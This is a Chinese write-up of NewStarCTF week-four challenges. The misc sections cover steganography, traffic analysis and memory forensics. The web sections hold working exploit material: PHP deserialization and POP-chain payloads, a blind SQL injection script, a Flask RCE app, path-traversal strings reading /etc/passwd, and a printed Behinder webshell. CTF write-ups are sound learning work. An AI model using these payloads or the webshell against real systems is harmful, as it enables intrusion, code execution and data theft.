一、R通大残
下载附件后发现图片最上面有一行色块:
编写脚本提取出第一行像素色块的RGB值:
from PIL import Image
image = Image.open('secret.png')
pixels = image.load()
width, height = image.size
for x in range(width):
r, g, b = pixels[x, 0]
print(f"R={r}, G={g}, B={b}")
发现R值有变化,编写脚本提取出R的值,并且转字符得到Flag:
from PIL import Image
def decode_image_to_string(image_file):
image = Image.open(image_file)
width, height = image.size
encoded_string = ""
for x in range(width):
pixel_value = image.getpixel((x, 0))[0]
print(pixel_value)
encoded_string += chr(pixel_value)
return encoded_string
image_file = "secret.png"
decoded_string = decode_image_to_string(image_file)
print(f"Flag:{decoded_string}")
二、Nmap
题目要求如下
使用WireShark过滤器过滤出TCP SYN和ACK标志位为1的所有流量包。
tcp.flags.syn ==1 && tcp.flags.ack ==1
排序一下即可。flag{80,3306,5000,7000,8021,9000}
三、依旧是空白
题目给出了两个文件,其中white.txt依旧是大量空白字符,根据题目提示其实很容易就能检阅道Snow隐写的知识点,但是Snow隐写需要密码,此时就需要从white.png寻找突破点,该图片的宽高被修改,可以利用CRC值爆破宽高,网上也有很多脚本,这里贴出来一个:
import os
import binascii
import struct
for i in range(20000):
wide = struct.pack('>i',i)
for j in range(20000):
high = struct.pack('>i',j)
data = b'\x49\x48\x44\x52' + wide + high + b'\x08\x06\x00\x00\x00'
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0x9C7DAB5B:
print("Width:",hex(i), " Height:", hex(j), " CRC32:",crc32)
exit(0)
得到宽高的十六进制值为:
Width: 0x1fc Height: 0x414
修改高度为 04 14 即可
![图片 (1)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (1).png)
打开图片得到密码:s00_b4by_f0r_y0u
![图片 (2)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (2).png)
Snow隐写解密:
可以在线解密:https://fog.misty.com/perry/ccs/snow/snow/snow.html
也可以本地运行:snow.exe -p "s00_b4by_f0r_y0u" -C White.txt
得到Flag:flag{2b29e3e0-5f44-402b-8ab3-35548d7a6a11}
四、3-溯源
题目要求如下
这道题需要花时间耐心分析一下,这里其实是个系列题,这里会给出一个比较取巧的解题思路来说明大概的分析方法。
首先顺着(https://bbs.zkaq.cn/t/31234.html中misc的第三题)的思路有一个Shell:wh1t3g0d.php,继续分析下去:
http.request.uri.path contains "wh1t3g0d.php"
写入了一个shell.php,继续跟一下shell.php:
http.request.uri contains "shell.php"
![图片 (1)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (1)-1698586943674-8.png)
可以看到又调用file_put_contents写入了一个1.php文件,文件内容进行了base64编码,解码得到:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')) {
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
} else {
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
很明显的冰蝎Shell,发现后续的交互也主要是和1.php进行交互。
从这里可以得知key为e45e329feb5d925b,流量采用AES CBC 128加密,可以先把所有1.php的响应流量过滤出来:
http.response_for.uri contains "/1.php"
导出特定分组,把响应流量保存下来,响应流量解密可以在http://tools.bugscaner.com/cryptoaes/进行解密,可以看到冰蝎的响应流量是以json形式返回的,json的内容是base64编码的:
![图片 (2)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (2)-1698587064851-10.png)
在导出分组后的响应流量中tcp.stream eq 19,可以获取到用户名:
![图片 (3)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (3).png)
![图片 (4)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (4).png)
上面一个较短的响应也直接返回了用户名www-data:
![图片 (5)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (5).png)
在tcp.stream eq 18中可以得到服务器内网IP地址:
mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j707eSlJOR++rc2CLjN5Ka6PQEdaL2069K+yLT9EX0fYg==
解密得到:
{"status":"c3VjY2Vzcw==","msg":"MTcyLjE3LjAuMgo="}
base64解码得到:172.17.0.2
最终Flag为:flag{www-data_172.17.0.2}
五、第一次取证
下载附件(https://pan.baidu.com/s/1LtVf1j00NR3CB7U38ags5w,密码为hg7b)使用volatility获取信息:
volatility -f ./dycqz.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/Users/ye/Desktop/Web/dycqz.raw)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf8000403c070L
Number of Processors : 4
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0xfffff8000403dd00L
KPCR for CPU 1 : 0xfffff880009ee000L
KPCR for CPU 2 : 0xfffff88004568000L
KPCR for CPU 3 : 0xfffff880045dd000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2023-10-06 13:32:23 UTC+0000
Image local date and time : 2023-10-06 21:32:23 +0800
查看内存进程列表:
volatility -f ./dycqz.raw --profile=Win7SP1x64 pslist
查看notepad进程:
volatility -f ./dycqz.raw --profile=Win7SP1x64 editbox
![图片 (1)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (1)-1698587444690-17.png)
得到一串密文:
@iH<,{BTrI;(N[`j&z+xcj9XE2!u/YbR:4gb2+ceDJs@u6P
Base91解码得到Flag:
![图片 (2)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (2)-1698587469895-19.png)
六、逃
源代码如下
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data
本题考查字符变长的情况,主要关注点在于:
function waf($str){
return str_replace("bad","good",$str);
}
这里我们可控的只有key的值,因此需要通过这里的字符长度的变化来修改序列化字符串,从而实现对于cmd值的控制。
举个栗子,在本题中如果我们传入badbad,正常输出的序列化字符串如下:
O:7:"GetFlag":2:{s:3:"key";s:6:"badbad";s:3:"cmd";s:6:"whoami";}
但是经过waf函数的替换后实际上传递给unserialize函数的字符串变成了:
O:7:"GetFlag":2:{s:3:"key";s:6:"goodgood";s:3:"cmd";s:6:"whoami";}
注意这里的
s:6:"goodgood";
PHP在扫描序列化字符串的时候会根据字符串长度进行扫描,也就是此时只会扫描到goodgo
而多出的od"字符就会被抛弃,当然,此时的序列化字符串也因为这个原因变得不合法,因此我们需要利用这个特点来构造出合法的字符串去修改cmd的值。
例如我们想要构造的是:
O:7:"GetFlag":2:{s:3:"key";s:N:"N个长度的字符串";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
实际上我们输入的是:
N个长度的字符串";s:3:"cmd";s:2:"ls";}
也就是说
";s:3:"cmd";s:2:"ls";}
就是我们想要逃逸出去的字符,我们希望N个长度的字符串的长度恰好到双引号之前,此时我们的输入就会作为合法的序列化数据进行处理,后续原本的 ";s:3:"cmd";s:6:"whoami";} 就会被丢弃。
我们需要插入的字符总共有22位,因此需要逃逸出22个字符,一个bad可以逃逸出1个字符,因此需要22个bad,构造Exp如下:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
此时实际上的反序列化数据是:
O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
good的长度正好为88,而 ";s:3:"cmd";s:6:"whoami";} 这一段数据就会被抛弃,由此完成了对于cmd值的修改。
顺着这个思路只需要计算需要逃逸的字符数量即可:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
![图片 (3)](E:\HDU\CTF\平常做题WP\NewStarCTF-fourthweek.assets\图片 (3)-1698587732608-21.png)
七、More Fast
源代码如下
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55
构造POP链比较简单,之前的题目弄懂的话这道题构造POP也就很简单了,POP Gadget如下:
Start::__destruct -> Crypto::__toString -> Reverse::__get -> Pwn::__invoke -> Web::evil
最后一个对于flag的绕过也很简单,通配符就可以绕,方法很多,POP Gadget的Exp如下:
<?php
class Start{
public $errMsg;
}
class Pwn{
public $obj;
}
class Reverse{
public $func;
}
class Web{
public $func = "system";
public $var = "ls";
}
class Crypto{
public $obj;
}
$obj = new Start;
$obj -> errMsg = new Crypto;
$obj -> errMsg -> obj = new Reverse;
$obj -> errMsg -> obj -> func = new Pwn;
$obj -> errMsg -> obj -> func -> obj = new Web;
$obj -> errMsg -> obj -> func -> obj -> func = "system";
$obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag";
难点在于反序列化位点的抛出异常:
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
这里考点在于Fast Destruct,利用GC垃圾回收机制提前触发Destruct即可,原理可以自行了解,本题利用修改数组下标的方法绕过,最终Exp如下:
<?php
class Start{
public $errMsg;
}
class Pwn{
public $obj;
}
class Reverse{
public $func;
}
class Web{
public $func = "system";
public $var = "ls";
}
class Crypto{
public $obj;
}
$obj = new Start;
$obj -> errMsg = new Crypto;
$obj -> errMsg -> obj = new Reverse;
$obj -> errMsg -> obj -> func = new Pwn;
$obj -> errMsg -> obj -> func -> obj = new Web;
$obj -> errMsg -> obj -> func -> obj -> func = "system";
$obj -> errMsg -> obj -> func -> obj -> var = "cat /f*ag";
$a[0] = $obj;
$a[1] = NULL;
echo str_replace("i:0","i:1",serialize($a));
// a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /f*ag";}}}}}i:1;N;}
八、midsql
界面如下
测试输入框,发现过滤了空格,其他没有过滤,页面没有回显
preg_match("/( |\n|\x0a)/is", $_REQUEST["id"]) ||
preg_match("/[=\x09\xa0\x0a\x0b\x0c\x0d\x0e]/", $_REQUEST["id"])
使用/**/即可进行时间盲注
import requests, re, copy
class Gadget():
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
return
def str2hex(self, string: str):
result = ''
for c in string:
result += hex(ord(c))
return '0x' + result.replace('0x', '')
# index start from 1
# #注意要把脚本中的空格改成/**/
def get_char_ascii(self, string: str, index):
method1 = f'(Ord(right(left({string},{index}),1)))'
method2 = f'(Ord(substr({string}/**/from/**/{index}/**/for/**/1)))'
method3 = f'(Ord(sUbstr({string} frOm {index} fOr 1)))'
return method2
def table_name_in_db(self):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))'
# mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = '(Select(group_coNcat(table_name))frOm(infOrmation_schema.tables)wHere((table_schema)In(dAtabase())))'
return s3
def table_name_in_db2(self, schema_name):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' # mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = f"(Select(group_coNcat(table_name))frOm(infOrmation_schema.tables)wHere((table_schema)In('{schema_name}')))"
return s3
def db_names(self):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' # mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = f"(sElect(group_coNcat(sChema_name))from(information_schema.schemata))"
return s3
def column_name_in_table(self, table_name: str):
s1 = f"(select(group_concat(column_name))from(infOrmation_schema.columns)where(table_name)in('{table_name}'))"
s2 = f"(sElect(group_cOncat(Column_name))frOm(infOrmation_schema.cOlumns)wHere(table_name)In({self.str2hex(table_name)}))"
return s2
def column_value_in_table(self, table_name: str, column_name: str):
s1 = f"(sElect(grOup_cOncat({column_name}))frOm({table_name}))"
return s1
def get_len(self, function, *args, **kwargs):
s1 = f'(lenGth({function(*args, **kwargs)}))'
return s1
def ascii_equal(self, asc, i):
s1 = f"(({asc})in({i}))"
return s1
def len_equal(self, len, i):
s1 = f"(({len})in({i}))"
return s1
def ascii_greater(self, asc, i):
s1 = f"(leAst({asc},{i})in({i}))"
return s1
def judge(self, cond):
s2 = f"Elt(({cond})+1,sLeep(1),0)"
s1 = f"(iF(({cond}),sLeep(1),0))"
return s1
class Injector():
def __init__(self, url, method, inject_param, data=None, debug=True):
self.url = url
self.method = method
self.data = data
self.inject_param = inject_param
self.debug = debug
self.gadget = Gadget()
def condition(self, res):
if res.elapsed.total_seconds() > 1:
return True
return False
def handle_value(self, function, *args, **kwargs):
result = ''
data = copy.deepcopy(self.data)
for _time in range(200):
print("time:%d" % (_time + 1))
left = 32
right = 128
updated = False
while (right > left):
mid = (left + right) // 2
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX', g.judge(
g.ascii_equal(g.get_char_ascii(function(*args, **kwargs), _time + 1), mid)))
res = None
if self.method == 'get':
res = requests.get(self.url, data)
if self.debug:
# print(res.text)
print(res.request.url)
else:
res = requests.post(self.url, data)
if self.debug:
print(res.text)
if (self.condition(res)):
result += chr(mid)
print(result)
updated = True
break
else:
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX', g.judge(
g.ascii_greater(g.get_char_ascii(function(*args, **kwargs), _time + 1), mid)))
res = None
if self.method == 'get':
res = requests.get(self.url, data)
else:
res = requests.post(self.url, data)
if (self.condition(res)):
left = mid
else:
right = mid
if not updated:
break
def handle_len(self, function, *args, **kwargs):
data = copy.deepcopy(self.data)
for _time in range(1, 200):
print("time:%d" % (_time))
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX', g.judge(
g.len_equal(g.get_len(function, *args, **kwargs), _time)))
res = None
if self.method == 'get':
res = requests.get(self.url, data)
if self.debug:
print(res.request.url)
print(res.text)
else:
res = requests.post(self.url, data)
if self.debug:
print(res.text)
if (self.condition(res)):
print(_time)
break
'''Note: Use time-based injection by default.Todo: union injection bool injection'''
if __name__ == '__main__':
g = Gadget()
result = ''
url = 'http://7e6750f1-d557-49a6-bea9-ecfe9513b376.node4.buuoj.cn:81/'
inject_param = 'id'
# XXXXX 会被替换为 if(,sleep(1.5),0)
data = {'id': "1/**/Or/**/XXXXX#"}
inj = Injector(url, method='get', inject_param=inject_param, data=data)
# 获取数据库列表
# inj.handle_value(g.db_names)
# information_schema,mysql,performance_schema,sys,test,ctf
# 根据数据库获取表名
# inj.handle_value(g.table_name_in_db2, 'ctf')
# items
# 获取表的字段
# inj.handle_value(g.column_name_in_table,'items')
# id,name,price
#
# 最后取数据
# inj.handle_value(g.column_value_in_table,'ctf.items','name')
九、flask disk
界面如下
访问admin manage发现要输入pin码,说明flask开启了debug模式。
flask开启了debug模式下,app.py源文件被修改后会立刻加载。
所以只需要通过upload files功能上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)
十、InjectMe
查看题目,知道可以查看一些图片并进行下载
发现一张图片带了代码,这是故意泄露的download路由的一段源码:
可以看到对传递进来的file参数进行了../单次替换,然后拼接,最后下载文件,由于只进行了一次替换成空,所以可以绕过,下面提供一种方式,然后加上dockerfile泄露的目录,可以猜到运行文件,以及后面审计源码,发现config文件:
..././..././..././etc/passwd
..././..././..././app/app.py
..././..././..././etc/config.py
通过访问download路由进行文件下载:xxxxx/download?file=..././..././..././app/app.py,源代码如下
import os
import re
from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key
app = Flask(__name__)
app.secret_key = secret_key
@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')
@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"
@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)
@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!
标签:__,return,NewStarCTF,format,self,data,fourthweek,name
From: https://www.cnblogs.com/sbhglqy/p/18106465